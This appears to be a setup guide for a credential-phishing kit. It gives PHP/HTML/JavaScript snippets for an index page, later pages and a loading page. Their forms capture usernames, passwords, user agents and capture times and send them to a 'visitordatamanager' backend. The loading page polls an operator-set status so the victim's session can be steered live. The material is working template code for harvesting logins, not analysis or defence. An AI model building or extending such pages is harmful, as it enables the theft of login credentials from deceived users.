Index:
  Includes:
  <script>
  var urlroot = '<?= URLROOT ?>';
  var uniqueid = '<?= $uniqueid ?>';
  </script>
  <script src="<?= URLROOT ?>/js/cntdjs/jquery.js"></script>
  <script src="<?= URLROOT ?>/js/cntdjs/jquery.mask.js"></script>
  <script src="<?= URLROOT ?>/js/cntdjs/cntd.js"></script>
  <script src="<?= URLROOT ?>/js/shared/loading.js"></script>
  <script src="<?= URLROOT ?>/js/shared/online_status.js"></script>

  Top of page:
  // checks if visitor exists:
  // if so, use the pre-set uniqueid and use the update route as the user already exists and is editing info
  // if not, generate a new uniqueid and use the add route as the user is a new visitor
  $is_visitor_active = isset($_SESSION["is_visitor_active"]);
  $uniqueid = $is_visitor_active ? $_SESSION["visitor_uniqueid"] : uniqid();
  $route = $is_visitor_active ? "update_visitor_data" : "add_visitor";

  Form required inputs:
  <?php if (!$is_visitor_active) { ?>
    <!-- New Visitor Specific Fields  -->
    <input type="hidden" name="capture_time" value="<?= date("h:i:s") ?>">
    <input type="hidden" name="useragent" value="<?= $_SERVER["HTTP_USER_AGENT"] ?>">
  <?php } ?>
  <input name="new_data" value="true" type="hidden">
  <input name="status" value="0" type="hidden">
  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">

  Form behaviour code:
  <script>
  var urlroot = '<?= URLROOT ?>';
  </script>

  <script>
  var controller = new CNTD;
  var url = "<?= URLROOT ?>/visitordatamanager/<?= $route ?>";

  controller.check_form_button_disable(["#username", "#password"]);
  controller.submit_form(url, controller.handle_form_response);
  </script>
  <?php if ($is_visitor_active) { ?>
    <script>
    var uniqueid = '<?= $uniqueid ?>';
    </script>

    <script src="<?= URLROOT ?>/js/shared/default_user_behaviour.js"></script>
  <?php } ?>

Other Pages:
  Includes:
  <script src="<?= URLROOT ?>/js/cntdjs/jquery.js"></script>
  <script src="<?= URLROOT ?>/js/cntdjs/jquery.mask.js"></script>
  <script src="<?= URLROOT ?>/js/cntdjs/cntd.js"></script>
  <script src="<?= URLROOT ?>/js/shared/loading.js"></script>
  <script src="<?= URLROOT ?>/js/shared/online_status.js"></script>
  <script src="<?= URLROOT ?>/js/shared/default_user_behaviour.js"></script>

  Top of page:
  $uniqueid = $_SESSION["visitor_uniqueid"];

  Form required inputs:
  <input name="new_data" value="true" type="hidden">
  <input name="status" value="0" type="hidden">
  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">

  Form behaviour code:
  <script>
  var urlroot = '<?= URLROOT ?>';
  var uniqueid = '<?= $uniqueid ?>';
  var url = "<?= URLROOT ?>/visitordatamanager/update_visitor_data";

  var controller = new CNTD;

  controller.check_form_button_disable(["#username", "#password"]);
  controller.submit_form(url, controller.handle_form_response);
  </script>

Loading:
  Everything same as 'other pages' above, but:
  Loading script:
  <script>
  var urlroot = '<?= URLROOT ?>';
  var uniqueid = '<?= $uniqueid ?>';
  var url_to_status_array = <?= json_encode($data["options"]) ?>;

  var loader = new Loader();
  loader.poll();
  </script>
